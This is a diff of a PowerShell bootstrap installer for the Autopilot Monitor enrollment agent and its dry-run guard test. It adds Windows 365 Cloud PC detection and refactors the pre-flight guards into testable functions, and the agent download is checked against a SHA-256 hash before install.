Maximum age (minutes) of the single profile that may appear for the relax
exemption to apply. The restore/first-connect -> bootstrap gap is always
minutes; an older profile is treated as a productive device. Default: 15.
.NOTES
- Agent is temporary and auto-removes after enrollment.
@@ -50,12 +67,24 @@
- Scheduled Task survives reboots during enrollment.
- OOBE detection uses Windows.System.Profile.SystemSetupInfo.OutOfBoxExperienceState.
Requires Windows 10, version 1809 (introduced in 10.0.17763.0). Older builds lack
the class -> Test-OobeInProgress returns $false -> original (skip) behaviour. Docs:
the class -> state reads as 'Unavailable' -> original (skip) behaviour. Docs:
https://learn.microsoft.com/en-us/uwp/api/windows.system.profile.systemsetupinfo
- Guard/relax logic lives in functions; the script only executes when run
directly. Dot-sourcing it (as the Pester suite in
Install-AutopilotMonitor.Tests.ps1 does) loads the functions without side effects.
- This script MUST remain pure ASCII (no Unicode/UTF-8 special chars).
PowerShell 5.1 (IME) reads scripts without BOM as ANSI, corrupting multi-byte chars.
.CHANGELOG
2026-08-08 v2.3 Windows 365 Cloud PC support: a positively identified Cloud PC
(Windows365 registry key AND CloudManagedDesktopExtension
service) now triggers the guard 2+3 relax alongside OOBE
InProgress; the single-fresh-profile conditions are unchanged
and guard 4 (uptime window) is exempted for Cloud PCs.
Raw OOBE state and Cloud PC marker states are now logged.
Guard/relax logic refactored into functions with a dot-source
entry guard so the Pester suite can test it without executing
the bootstrap; behaviour when run directly is unchanged.
2026-07-20 v2.2 Switched default download endpoint from the legacy blob
(autopilotmonitor.blob.core.windows.net) to the Front Door alias
https://download.autopilotmonitor.com/agent/ (route /agent/*).
@@ -97,7 +126,7 @@ param(
)
# Script version (bump on meaningful changes; see .CHANGELOG above)
$ScriptVersion = "2.2"
$ScriptVersion = "2.3"
# Configuration - Everything in ProgramData for easy cleanup
$AgentBasePath = "$env:ProgramData\AutopilotMonitor"
@@ -105,89 +134,151 @@ $AgentBinPath = "$AgentBasePath\Agent"
$AgentLogPath = "$AgentBasePath\Logs"
$LogFile = "$AgentLogPath\bootstrap_agent.log"
New-Item -Path $AgentBasePath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentBinPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentLogPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
# Write-Host (NOT Write-Output): log calls happen inside functions that return
# decision objects; Write-Output would leak every log line into those return values.
function Write-Log {
param([string]$Message)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logMessage = "[$timestamp] $Message"
Write-Output $logMessage
Write-Host $logMessage
Add-Content -Path $LogFile -Value $logMessage -ErrorAction SilentlyContinue
}
# Positive OOBE check via the documented WinRT API
# Raw OOBE state via the documented WinRT API
# Windows.System.Profile.SystemSetupInfo.OutOfBoxExperienceState.
# Returns $true ONLY when the OS reports InProgress. Any other state (Completed/NotStarted),
# an older OS without the class (< Win10 1809 / 10.0.17763.0), or any error returns $false
# Returns the state string (InProgress/Completed/NotStarted). An older OS without the
# class (< Win10 1809 / 10.0.17763.0) or any error returns 'Unavailable'
# -> SKIP-safe (we never relax a guard on uncertainty).
# Docs: https://learn.microsoft.com/en-us/uwp/api/windows.system.profile.systemsetupinfo
function Test-OobeInProgress {
function Get-OobeState {
try {
$null = [Windows.System.Profile.SystemSetupInfo, Windows.System.Profile, ContentType = WindowsRuntime]
return ([Windows.System.Profile.SystemSetupInfo]::OutOfBoxExperienceState).ToString() -eq 'InProgress'
return ([Windows.System.Profile.SystemSetupInfo]::OutOfBoxExperienceState).ToString()
}
catch {
return 'Unavailable'
}
}
# Positive Windows 365 Cloud PC detection. Local WMI/SMBIOS on a Cloud PC only
# reports the generic Manufacturer='Microsoft Corporation' / Model='Virtual Machine',
# so identification uses two W365-specific markers instead. BOTH are required (AND):
# each alone has look-alikes (e.g. W365 Boot physical clients, other managed-desktop
# agents). Identity and marker states are logged for diagnosis; any error returns
# $false (SKIP-safe).
function Test-IsCloudPc {
try {
$cs = Get-CimInstance Win32_ComputerSystem -ErrorAction Stop
Write-Log "Computer identity: Manufacturer='$($cs.Manufacturer)' Model='$($cs.Model)'."
}
catch { Write-Log "INFO: computer identity query failed: $($_.Exception.Message)" }
try {
$regMarker = Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows365'
$svcMarker = $null -ne (Get-Service -Name 'CloudManagedDesktopExtension' -ErrorAction SilentlyContinue)
Write-Log "Cloud PC markers: Windows365 registry key=$regMarker; CloudManagedDesktopExtension service=$svcMarker."
return ($regMarker -and $svcMarker)
}
catch {
Write-Log "INFO: Cloud PC marker check failed: $($_.Exception.Message)"
return $false
}
}
try {
Write-Log "===== Autopilot Monitor Bootstrap Started ====="
Write-Log "Bootstrap script version: v$ScriptVersion"
# Collects real (non-special) user profiles as full paths (WMI Special flag + filesystem).
# NOTE: callers MUST wrap the result in @(...). PowerShell unrolls function output, so an
# empty result returns $null and a single path returns a scalar string, whose [0] indexer
# would yield its first char ('C') instead of the full path.
function Get-RealUserProfilePaths {
$excludePattern = '^(defaultuser\d*|Public|Default( User)?|All Users|WDAGUtilityAccount)$'
@(
try {
Get-CimInstance Win32_UserProfile -ErrorAction Stop |
Where-Object { -not $_.Special -and $_.LocalPath -like 'C:\Users\*' } |
ForEach-Object { $_.LocalPath }
} catch { Write-Log "INFO: WMI profile query failed, continuing with filesystem check." }
(Get-ChildItem 'C:\Users' -Directory -ErrorAction SilentlyContinue).FullName
) | Where-Object { $_ -and (Split-Path $_ -Leaf) -notmatch $excludePattern } |
Select-Object -Unique
}
# Relax: the ONLY exemption to guards 2+3. Two triggers (see .DESCRIPTION):
# (1) OOBE InProgress -> Windows Backup for Organizations restore
# (2) Cloud PC identity -> Windows 365 (headless OOBE, profile at first connect)
# Either trigger additionally requires: exactly one real profile AND that profile
# created < $OobeProfileMaxAgeMinutes minutes ago. Any miss keeps the original skip.
# Returns an object with: Active (bool), OobeState (string), IsCloudPc (bool).
function Get-RelaxDecision {
param(
[string[]]$ProfilePaths,
[int]$OobeProfileMaxAgeMinutes
)
if ($null -eq $ProfilePaths) { $ProfilePaths = @() }
$relaxActive = $false
$oobeState = Get-OobeState
$oobeInProgress = ($oobeState -eq 'InProgress')
$isCloudPc = Test-IsCloudPc
if ($isCloudPc) {
Write-Log "Cloud PC detected (OOBE state: $oobeState)."
}
$relaxTrigger = $null
if ($oobeInProgress) {
$relaxTrigger = "OOBE InProgress (Windows Backup restore case)"
} elseif ($isCloudPc) {
$relaxTrigger = "Cloud PC (headless provisioning, OOBE state: $oobeState)"
}
if ($ProfilePaths.Count -eq 1 -and $relaxTrigger) {
try {
$created = (Get-Item -LiteralPath $ProfilePaths[0] -Force -ErrorAction Stop).CreationTimeUtc
$ageMin = ((Get-Date).ToUniversalTime() - $created).TotalMinutes
if ($ageMin -ge 0 -and $ageMin -lt $OobeProfileMaxAgeMinutes) {
$relaxActive = $true
Write-Log ("Relax active: {0} + single profile created {1:N1}min ago (< {2}min). Guards 2+3 relaxed." -f $relaxTrigger, $ageMin, $OobeProfileMaxAgeMinutes)
} else {
Write-Log ("Relax NOT applied: {0} + single profile '{1}', but profile created {2:N1}min ago (created {3:u}) is outside the [0, {4})min window." -f $relaxTrigger, (Split-Path $ProfilePaths[0] -Leaf), $ageMin, $created, $OobeProfileMaxAgeMinutes)
}
} catch { Write-Log "INFO: profile age check failed; relax not applied. $($_.Exception.Message)" }
} elseif ($ProfilePaths.Count -eq 1) {
Write-Log "Relax NOT applied: single profile present but neither OOBE InProgress nor Cloud PC (OOBE state: $oobeState)."
} elseif ($ProfilePaths.Count -gt 1) {
Write-Log ("Relax NOT applied: {0} real profiles present (relax requires exactly one). OOBE state: {1}; CloudPC: {2}." -f $ProfilePaths.Count, $oobeState, $isCloudPc)
}
return [pscustomobject]@{
Active = $relaxActive
OobeState = $oobeState
IsCloudPc = $isCloudPc
}
}
# Runs pre-flight guards 1-5 and returns the install decision WITHOUT side effects
# beyond logging. Returns an object with:
# Install (bool), ReasonCode (null | AlreadyDeployed | ProfilesFound |
# LastLoggedOnUser | UptimeExceeded | AgentPresent), RelaxActive (bool).
function Get-BootstrapDecision {
param(
[int]$MaxBootstrapWindowHours,
[int]$OobeProfileMaxAgeMinutes,
[string]$AgentBinPath
)
# Guard 1: Agent was already deployed on this device (registry marker survives self-destruct)
$deployed = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\AutopilotMonitor' -Name 'Deployed' -ErrorAction SilentlyContinue).Deployed
if ($deployed) {
Write-Log "SKIP: Agent was previously deployed at $deployed."
exit 0
return [pscustomobject]@{ Install = $false; ReasonCode = 'AlreadyDeployed'; RelaxActive = $false }
}
# Collect real (non-special) user profiles as full paths (WMI Special flag + filesystem).
$excludePattern = '^(defaultuser\d*|Public|Default( User)?|All Users|WDAGUtilityAccount)$'
# NOTE: the outer @() is required. Without it the trailing Where/Select pipeline
# unwraps a single result back to a scalar string, so $profilePaths[0] would index
# into the string and return its first char ('C') instead of the full path.
$profilePaths = @(
@(
try {
Get-CimInstance Win32_UserProfile -ErrorAction Stop |
Where-Object { -not $_.Special -and $_.LocalPath -like 'C:\Users\*' } |
ForEach-Object { $_.LocalPath }
} catch { Write-Log "INFO: WMI profile query failed, continuing with filesystem check." }
(Get-ChildItem 'C:\Users' -Directory -ErrorAction SilentlyContinue).FullName
) | Where-Object { $_ -and (Split-Path $_ -Leaf) -notmatch $excludePattern } |
Select-Object -Unique
)
# OOBE-relax: the ONLY exemption to guards 2+3. Matches exactly the Windows Backup for
# Organizations restore (one user signs in + restores DURING OOBE). All three must hold:
# OOBE InProgress AND exactly one profile AND that profile created < N minutes ago.
$oobeRelax = $false
$oobeInProgress = Test-OobeInProgress
if ($profilePaths.Count -eq 1 -and $oobeInProgress) {
try {
$created = (Get-Item -LiteralPath $profilePaths[0] -Force -ErrorAction Stop).CreationTimeUtc
$ageMin = ((Get-Date).ToUniversalTime() - $created).TotalMinutes
if ($ageMin -ge 0 -and $ageMin -lt $OobeProfileMaxAgeMinutes) {
$oobeRelax = $true
Write-Log ("OOBE-relax active: OOBE InProgress + single profile created {0:N1}min ago (< {1}min). Guards 2+3 relaxed (Windows Backup restore case)." -f $ageMin, $OobeProfileMaxAgeMinutes)
} else {
Write-Log ("OOBE-relax NOT applied: OOBE InProgress + single profile '{0}', but profile created {1:N1}min ago (created {2:u}) is outside the [0, {3})min window." -f (Split-Path $profilePaths[0] -Leaf), $ageMin, $created, $OobeProfileMaxAgeMinutes)
}
} catch { Write-Log "INFO: profile age check failed; OOBE-relax not applied. $($_.Exception.Message)" }
} elseif ($profilePaths.Count -eq 1 -and -not $oobeInProgress) {
Write-Log "OOBE-relax NOT applied: single profile present but OutOfBoxExperienceState != InProgress (OOBE already finished / not detectable)."
} elseif ($profilePaths.Count -gt 1) {
Write-Log ("OOBE-relax NOT applied: {0} real profiles present (relax requires exactly one)." -f $profilePaths.Count)
}
# The @() wrap is required, see NOTE on Get-RealUserProfilePaths.
$profilePaths = @(Get-RealUserProfilePaths)
$relax = Get-RelaxDecision -ProfilePaths $profilePaths -OobeProfileMaxAgeMinutes $OobeProfileMaxAgeMinutes
# Guard 2: No real user profile should exist yet (primary productive-device guard),
# unless the OOBE-relax signature holds.
if ($profilePaths.Count -gt 0 -and -not $oobeRelax) {
# unless the relax signature holds.
if ($profilePaths.Count -gt 0 -and -not $relax.Active) {
$details = (($profilePaths | ForEach-Object {
$leaf = Split-Path $_ -Leaf
try {
@@ -195,26 +286,33 @@ try {
"{0} (created {1:u}, {2:N1}min ago)" -f $leaf, $c, ((Get-Date).ToUniversalTime() - $c).TotalMinutes
} catch { "$leaf (age unknown)" }
}) | Select-Object -First 3) -join '; '
Write-Log "SKIP: Real user profile(s) found ($details). OOBE InProgress=$oobeInProgress. Device appears productive."
exit 0
Write-Log "SKIP: Real user profile(s) found ($details). OOBE state: $($relax.OobeState). CloudPC: $($relax.IsCloudPc). Device appears productive."
return [pscustomobject]@{ Install = $false; ReasonCode = 'ProfilesFound'; RelaxActive = $false }
}
# Guard 3: LastLoggedOnUser - during Device ESP no real user has logged on yet
# (same OOBE-relax exemption: the restoring user signs in during OOBE).
# (same relax exemption: the restoring/first-connect user signs in legitimately).
$lastLoggedOnUser = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' -Name 'LastLoggedOnUser' -EA SilentlyContinue).LastLoggedOnUser
if ($lastLoggedOnUser -and $lastLoggedOnUser -notmatch 'defaultuser\d*' -and -not $oobeRelax) {
if ($lastLoggedOnUser -and $lastLoggedOnUser -notmatch 'defaultuser\d*' -and -not $relax.Active) {
Write-Log "SKIP: LastLoggedOnUser found ($lastLoggedOnUser). Device appears productive."
exit 0
return [pscustomobject]@{ Install = $false; ReasonCode = 'LastLoggedOnUser'; RelaxActive = $false }
}
# Guard 4: Bootstrap window check - device uptime must be within accepted OOBE window.
# Sleep/standby does not reset uptime, only real boot/restart does.
# Exempted while the Cloud PC relax is active: a Cloud PC runs headless from
# provisioning until the user's first connect (often days), so boot uptime says
# nothing there -- the fresh-profile window of the relax is the time anchor.
$lastBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$uptimeHours = ((Get-Date) - $lastBoot).TotalHours
Write-Log "Device uptime: $([int]$uptimeHours)h (last boot: $lastBoot)"
if ($uptimeHours -gt $MaxBootstrapWindowHours) {
Write-Log "SKIP: Device uptime is $([int]$uptimeHours)h. OOBE state is older than accepted bootstrap window of ${MaxBootstrapWindowHours}h."
exit 0
if ($relax.Active -and $relax.IsCloudPc) {
Write-Log "Uptime $([int]$uptimeHours)h exceeds the ${MaxBootstrapWindowHours}h window, but the Cloud PC relax is active (fresh first-connect profile is the time anchor). Continuing."
} else {
Write-Log "SKIP: Device uptime is $([int]$uptimeHours)h. OOBE state is older than accepted bootstrap window of ${MaxBootstrapWindowHours}h."
return [pscustomobject]@{ Install = $false; ReasonCode = 'UptimeExceeded'; RelaxActive = $relax.Active }
}
}
# Guard 5: Is the agent already installed? (leftover from previous run)
@@ -222,148 +320,175 @@ try {
$existingAgent = Get-ChildItem -Path $AgentBinPath -Filter "AutopilotMonitor.Agent.exe" -ErrorAction SilentlyContinue
if ($existingAgent) {
Write-Log "SKIP: Agent already installed at $($existingAgent.FullName)."
return [pscustomobject]@{ Install = $false; ReasonCode = 'AgentPresent'; RelaxActive = $relax.Active }
}
}
return [pscustomobject]@{ Install = $true; ReasonCode = $null; RelaxActive = $relax.Active }
}
# Main bootstrap flow. Only invoked when the script is run directly (see entry guard
# at the bottom); never on dot-source.
function Invoke-Bootstrap {
try {
New-Item -Path $AgentBasePath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentBinPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path $AgentLogPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
Write-Log "===== Autopilot Monitor Bootstrap Started ====="
Write-Log "Bootstrap script version: v$ScriptVersion"
$decision = Get-BootstrapDecision -MaxBootstrapWindowHours $MaxBootstrapWindowHours -OobeProfileMaxAgeMinutes $OobeProfileMaxAgeMinutes -AgentBinPath $AgentBinPath
if (-not $decision.Install) {
exit 0
}
}
Write-Log "Pre-flight checks passed -- no prior deployment, no productive-device signals, within bootstrap window (oobeRelax=$oobeRelax)"
Write-Log "Pre-flight checks passed -- no prior deployment, no productive-device signals, within bootstrap window (relaxActive=$($decision.RelaxActive))"
# Download and extract agent binaries
$agentExePath = Join-Path $AgentBinPath "AutopilotMonitor.Agent.exe"
# Download and extract agent binaries
$agentExePath = Join-Path $AgentBinPath "AutopilotMonitor.Agent.exe"
if (Test-Path $agentExePath) {
Write-Log "Agent already installed at $agentExePath"
}
else {
Write-Log "Downloading agent from $AgentDownloadUrl..."
try {
# Derive manifest URL from the agent download URL (same blob container)
$versionJsonUrl = $AgentDownloadUrl -replace '[^/]+$', $VersionJsonName
$expectedSha256 = $null
$manifestAttempts = 3
$manifestDelays = @(1, 2) # short backoff between attempts; do not block enrollment
for ($attempt = 1; $attempt -le $manifestAttempts; $attempt++) {
try {
Write-Log "Fetching $VersionJsonName (attempt ${attempt}/${manifestAttempts}) from $versionJsonUrl for integrity verification..."
$versionJsonResponse = Invoke-RestMethod -Uri $versionJsonUrl -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop
if ($versionJsonResponse.sha256) {
$expectedSha256 = $versionJsonResponse.sha256.ToLowerInvariant()
Write-Log "SHA-256 hash from manifest: $expectedSha256 (version: $($versionJsonResponse.version))"
} else {
Write-Log "WARNING: Manifest has no sha256 field - integrity cannot be verified."
}
break # manifest reached (with or without hash); retrying would not help
}
catch {
Write-Log "WARNING: Could not fetch integrity manifest (attempt $attempt): $($_.Exception.Message)"
if ($attempt -lt $manifestAttempts) {
Start-Sleep -Seconds $manifestDelays[$attempt - 1]
}
}
}
$zipPath = Join-Path $env:TEMP "AutopilotMonitor-Agent.zip"
$maxDownloadAttempts = 3
$downloadAttempt = 0
do {
$downloadAttempt++
try {
Write-Log "Download attempt ${downloadAttempt}/${maxDownloadAttempts}"
$downloadStopwatch = [System.Diagnostics.Stopwatch]::StartNew()
Invoke-WebRequest `
-Uri $AgentDownloadUrl `
-OutFile $zipPath `
-UseBasicParsing `
-TimeoutSec 30 `
-ErrorAction Stop
$downloadStopwatch.Stop()
$downloadSeconds = [math]::Round($downloadStopwatch.Elapsed.TotalSeconds, 1)
Write-Log "Downloaded agent to $zipPath (took ${downloadSeconds}s)"
break
}
catch {
if ($downloadAttempt -ge $maxDownloadAttempts) {
throw
}
$retryDelaysInSeconds = @(2, 4, 8)
$retryDelaySeconds = $retryDelaysInSeconds[$downloadAttempt - 1]
Write-Log "Download failed (attempt $downloadAttempt): $($_.Exception.Message). Retrying in ${retryDelaySeconds}s..."
Start-Sleep -Seconds $retryDelaySeconds
}
} while ($downloadAttempt -lt $maxDownloadAttempts)
# SHA-256 from the version manifest is the only accepted integrity proof.
# No hash -> refuse to install an unverified ZIP (SKIP-safe security posture).
if (-not $expectedSha256) {
throw "No SHA-256 hash available from manifest - refusing to install unverified agent ZIP."
}
$actualSha256 = (Get-FileHash $zipPath -Algorithm SHA256).Hash.ToLowerInvariant()
Write-Log "Validating SHA-256 hash against manifest"
if ($actualSha256 -ne $expectedSha256) {
throw "SHA-256 integrity check FAILED. Expected='$expectedSha256', Actual='$actualSha256'. Download may be tampered or corrupted."
}
Write-Log "SHA-256 integrity check passed"
Expand-Archive -Path $zipPath -DestinationPath $AgentBinPath -Force
Write-Log "Extracted agent to $AgentBinPath"
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
Write-Log "Cleaned up temporary files"
if (-not (Test-Path $agentExePath)) {
throw "Agent executable not found after extraction at $agentExePath"
}
Write-Log "Agent installation completed successfully"
if (Test-Path $agentExePath) {
Write-Log "Agent already installed at $agentExePath"
}
catch {
Write-Log "ERROR downloading/extracting agent: $($_.Exception.Message)"
throw
else {
Write-Log "Downloading agent from $AgentDownloadUrl..."
try {
# Derive manifest URL from the agent download URL (same blob container)
$versionJsonUrl = $AgentDownloadUrl -replace '[^/]+$', $VersionJsonName
$expectedSha256 = $null
$manifestAttempts = 3
$manifestDelays = @(1, 2) # short backoff between attempts; do not block enrollment
for ($attempt = 1; $attempt -le $manifestAttempts; $attempt++) {
try {
Write-Log "Fetching $VersionJsonName (attempt ${attempt}/${manifestAttempts}) from $versionJsonUrl for integrity verification..."
$versionJsonResponse = Invoke-RestMethod -Uri $versionJsonUrl -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop
if ($versionJsonResponse.sha256) {
$expectedSha256 = $versionJsonResponse.sha256.ToLowerInvariant()
Write-Log "SHA-256 hash from manifest: $expectedSha256 (version: $($versionJsonResponse.version))"
} else {
Write-Log "WARNING: Manifest has no sha256 field - integrity cannot be verified."
}
break # manifest reached (with or without hash); retrying would not help
}
catch {
Write-Log "WARNING: Could not fetch integrity manifest (attempt $attempt): $($_.Exception.Message)"
if ($attempt -lt $manifestAttempts) {
Start-Sleep -Seconds $manifestDelays[$attempt - 1]
}
}
}
$zipPath = Join-Path $env:TEMP "AutopilotMonitor-Agent.zip"
$maxDownloadAttempts = 3
$downloadAttempt = 0
do {
$downloadAttempt++
try {
Write-Log "Download attempt ${downloadAttempt}/${maxDownloadAttempts}"
$downloadStopwatch = [System.Diagnostics.Stopwatch]::StartNew()
Invoke-WebRequest `
-Uri $AgentDownloadUrl `
-OutFile $zipPath `
-UseBasicParsing `
-TimeoutSec 30 `
-ErrorAction Stop
$downloadStopwatch.Stop()
$downloadSeconds = [math]::Round($downloadStopwatch.Elapsed.TotalSeconds, 1)
Write-Log "Downloaded agent to $zipPath (took ${downloadSeconds}s)"
break
}
catch {
if ($downloadAttempt -ge $maxDownloadAttempts) {
throw
}
$retryDelaysInSeconds = @(2, 4, 8)
$retryDelaySeconds = $retryDelaysInSeconds[$downloadAttempt - 1]
Write-Log "Download failed (attempt $downloadAttempt): $($_.Exception.Message). Retrying in ${retryDelaySeconds}s..."
Start-Sleep -Seconds $retryDelaySeconds
}
} while ($downloadAttempt -lt $maxDownloadAttempts)
# SHA-256 from the version manifest is the only accepted integrity proof.
# No hash -> refuse to install an unverified ZIP (SKIP-safe security posture).
if (-not $expectedSha256) {
throw "No SHA-256 hash available from manifest - refusing to install unverified agent ZIP."
}
$actualSha256 = (Get-FileHash $zipPath -Algorithm SHA256).Hash.ToLowerInvariant()
Write-Log "Validating SHA-256 hash against manifest"
if ($actualSha256 -ne $expectedSha256) {
throw "SHA-256 integrity check FAILED. Expected='$expectedSha256', Actual='$actualSha256'. Download may be tampered or corrupted."
}
Write-Log "SHA-256 integrity check passed"
Expand-Archive -Path $zipPath -DestinationPath $AgentBinPath -Force
Write-Log "Extracted agent to $AgentBinPath"
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
Write-Log "Cleaned up temporary files"
if (-not (Test-Path $agentExePath)) {
throw "Agent executable not found after extraction at $agentExePath"
}
Write-Log "Agent installation completed successfully"
}
catch {
Write-Log "ERROR downloading/extracting agent: $($_.Exception.Message)"
throw
}
}
}
Write-Log "Calling agent install mode (--install)..."
& $agentExePath --install
$installExitCode = $LASTEXITCODE
if ($installExitCode -ne 0) {
throw "Agent install failed with exit code $installExitCode"
}
Write-Log "Agent install mode completed successfully"
Write-Log "Calling agent install mode (--install)..."
& $agentExePath --install
$installExitCode = $LASTEXITCODE
if ($installExitCode -ne 0) {
throw "Agent install failed with exit code $installExitCode"
}
Write-Log "Agent install mode completed successfully"
$runtimeProcessName = 'AutopilotMonitor.Agent'
$verifyTimeoutSec = 10
$verifyDeadline = (Get-Date).AddSeconds($verifyTimeoutSec)
$runtimeProc = $null
while ((Get-Date) -lt $verifyDeadline) {
$runtimeProc = Get-Process -Name $runtimeProcessName -ErrorAction SilentlyContinue | Select-Object -First 1
if ($null -ne $runtimeProc) { break }
Start-Sleep -Milliseconds 500
}
if ($null -ne $runtimeProc) {
$startedUtc = 'unavailable'
try { $startedUtc = $runtimeProc.StartTime.ToUniversalTime().ToString('o') } catch { }
Write-Log ("Runtime process verified: name={0}.exe pid={1} startedUtc={2}" -f $runtimeProcessName, $runtimeProc.Id, $startedUtc)
} else {
Write-Log ("WARNING: Runtime process verification FAILED. Agent --install reported success but no '{0}.exe' process appeared within {1}s. Likely silent block (AV/EDR, AppLocker/WDAC) of the runtime launch. Agent should still come up at next boot via the BootTrigger task. Check Event Viewer > Microsoft > Windows > TaskScheduler/Operational and AV/EDR logs for '{0}.exe'." -f $runtimeProcessName, $verifyTimeoutSec)
}
$runtimeProcessName = 'AutopilotMonitor.Agent'
$verifyTimeoutSec = 10
$verifyDeadline = (Get-Date).AddSeconds($verifyTimeoutSec)
$runtimeProc = $null
while ((Get-Date) -lt $verifyDeadline) {
$runtimeProc = Get-Process -Name $runtimeProcessName -ErrorAction SilentlyContinue | Select-Object -First 1
if ($null -ne $runtimeProc) { break }
Start-Sleep -Milliseconds 500
}
if ($null -ne $runtimeProc) {
$startedUtc = 'unavailable'
try { $startedUtc = $runtimeProc.StartTime.ToUniversalTime().ToString('o') } catch { }
Write-Log ("Runtime process verified: name={0}.exe pid={1} startedUtc={2}" -f $runtimeProcessName, $runtimeProc.Id, $startedUtc)
} else {
Write-Log ("WARNING: Runtime process verification FAILED. Agent --install reported success but no '{0}.exe' process appeared within {1}s. Likely silent block (AV/EDR, AppLocker/WDAC) of the runtime launch. Agent should still come up at next boot via the BootTrigger task. Check Event Viewer > Microsoft > Windows > TaskScheduler/Operational and AV/EDR logs for '{0}.exe'." -f $runtimeProcessName, $verifyTimeoutSec)
}
Write-Log "===== Bootstrap Completed Successfully ====="
Write-Log "===== Bootstrap Completed Successfully ====="
exit 0
exit 0
}
catch {
Write-Log "===== Bootstrap FAILED ====="
Write-Log "ERROR: $($_.Exception.Message)"
Write-Log "Stack trace: $($_.ScriptStackTrace)"
Write-Log "Please check log file: $LogFile"
$errMsg = "AutopilotMonitor bootstrap failed: $($_.Exception.Message)"
if ($errMsg.Length -gt 2048) { $errMsg = $errMsg.Substring(0, 1045) + '...' }
[Console]::Error.WriteLine($errMsg)
exit 1
}
}
catch {
Write-Log "===== Bootstrap FAILED ====="
Write-Log "ERROR: $($_.Exception.Message)"
Write-Log "Stack trace: $($_.ScriptStackTrace)"
Write-Log "Please check log file: $LogFile"
$errMsg = "AutopilotMonitor bootstrap failed: $($_.Exception.Message)"
if ($errMsg.Length -gt 2048) { $errMsg = $errMsg.Substring(0, 1045) + '...' }
[Console]::Error.WriteLine($errMsg)
exit 1
# Entry guard: execute only when run as a script (IME, console). Dot-sourcing
# (". .\Install-AutopilotMonitor.ps1", as the Pester suite does) only loads
# the functions above and MUST stay side-effect free.
if ($MyInvocation.InvocationName -ne '.') {
Invoke-Bootstrap
}
+32 -12
View File
@@ -1,7 +1,9 @@
# Autopilot Monitor Bootstrap Guard Test
# Dry-run only: does not exit, does not install, only reports what WOULD happen.
# Mirrors Install-AutopilotMonitor.ps1 incl. the OOBE-relax exemption for the
# "Windows Backup for Organizations" restore case (guards 2+3).
# Mirrors Install-AutopilotMonitor.ps1 (v2.3) incl. the relax exemption for
# guards 2+3, triggered by "Windows Backup for Organizations" (OOBE InProgress)
# or a positively identified Windows 365 Cloud PC, and the guard 4 (uptime)
# exemption while the Cloud PC relax is active.
param(
[string]$AgentBinPath = 'C:\ProgramData\AutopilotMonitor\Agent',
@@ -54,6 +56,12 @@ function Test-OobeInProgress {
}
}
# Positive Windows 365 Cloud PC detection: two local markers, BOTH required (AND),
# because each alone has look-alikes. Mirrors Test-IsCloudPc in the bootstrapper.
$cloudPcRegMarker = Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows365'
$cloudPcSvcMarker = $null -ne (Get-Service -Name 'CloudManagedDesktopExtension' -ErrorAction SilentlyContinue)
$isCloudPc = ($cloudPcRegMarker -and $cloudPcSvcMarker)
$AgentExePath = Join-Path $AgentBinPath 'AutopilotMonitor.Agent.exe'
$MaxBootstrapWindowHours = 12
@@ -104,8 +112,9 @@ if ($wmiProfileQueryFailed) {
$profileNames = $profilePaths | ForEach-Object { Split-Path $_ -Leaf }
# OOBE-relax: the ONLY exemption to guards 2+3. Matches exactly the Windows Backup for
# Organizations restore: OOBE InProgress AND exactly one profile AND that profile fresh.
# Relax: the ONLY exemption to guards 2+3. Two triggers -- OOBE InProgress (Windows
# Backup for Organizations restore) or Cloud PC identity (headless provisioning,
# profile at first connect). Either additionally requires exactly one fresh profile.
$oobeInProgress = Test-OobeInProgress
$profileAgeMin = $null
$oobeRelax = $false
@@ -114,12 +123,13 @@ if ($profilePaths.Count -eq 1) {
$created = (Get-Item -LiteralPath $profilePaths[0] -Force -ErrorAction Stop).CreationTimeUtc
$profileAgeMin = [math]::Round(((Get-Date).ToUniversalTime() - $created).TotalMinutes, 1)
} catch { }
if ($oobeInProgress -and $null -ne $profileAgeMin -and $profileAgeMin -ge 0 -and $profileAgeMin -lt $OobeProfileMaxAgeMinutes) {
if (($oobeInProgress -or $isCloudPc) -and $null -ne $profileAgeMin -and $profileAgeMin -ge 0 -and $profileAgeMin -lt $OobeProfileMaxAgeMinutes) {
$oobeRelax = $true
}
}
Write-Step -Status 'INFO' -Message "OOBE: OutOfBoxExperienceState InProgress = $oobeInProgress ; profileCount = $($profilePaths.Count) ; singleProfileAgeMin = $profileAgeMin ; OOBE-relax = $oobeRelax"
Write-Step -Status 'INFO' -Message "Cloud PC markers: Windows365 registry key = $cloudPcRegMarker ; CloudManagedDesktopExtension service = $cloudPcSvcMarker ; IsCloudPc = $isCloudPc"
Write-Step -Status 'INFO' -Message "OOBE: OutOfBoxExperienceState InProgress = $oobeInProgress ; profileCount = $($profilePaths.Count) ; singleProfileAgeMin = $profileAgeMin ; relax = $oobeRelax"
# Guard 2: No real user profile should exist yet (unless OOBE-relax holds)
if ($profilePaths.Count -gt 0 -and -not $oobeRelax) {
@@ -129,7 +139,8 @@ if ($profilePaths.Count -gt 0 -and -not $oobeRelax) {
$reasons.Add("Real user profile(s) found: $names")
} elseif ($profilePaths.Count -gt 0 -and $oobeRelax) {
$names = ($profileNames | Select-Object -First 3) -join ', '
Write-Step -Status 'PASS' -Message "Guard 2: Profile ($names) present but OOBE-relax active (single fresh profile in OOBE) -- not blocking."
$trigger = if ($oobeInProgress) { 'OOBE InProgress' } else { 'Cloud PC' }
Write-Step -Status 'PASS' -Message "Guard 2: Profile ($names) present but relax active ($trigger + single fresh profile) -- not blocking."
} else {
Write-Step -Status 'PASS' -Message 'Guard 2: No real user profiles found (combined WMI/filesystem view).'
}
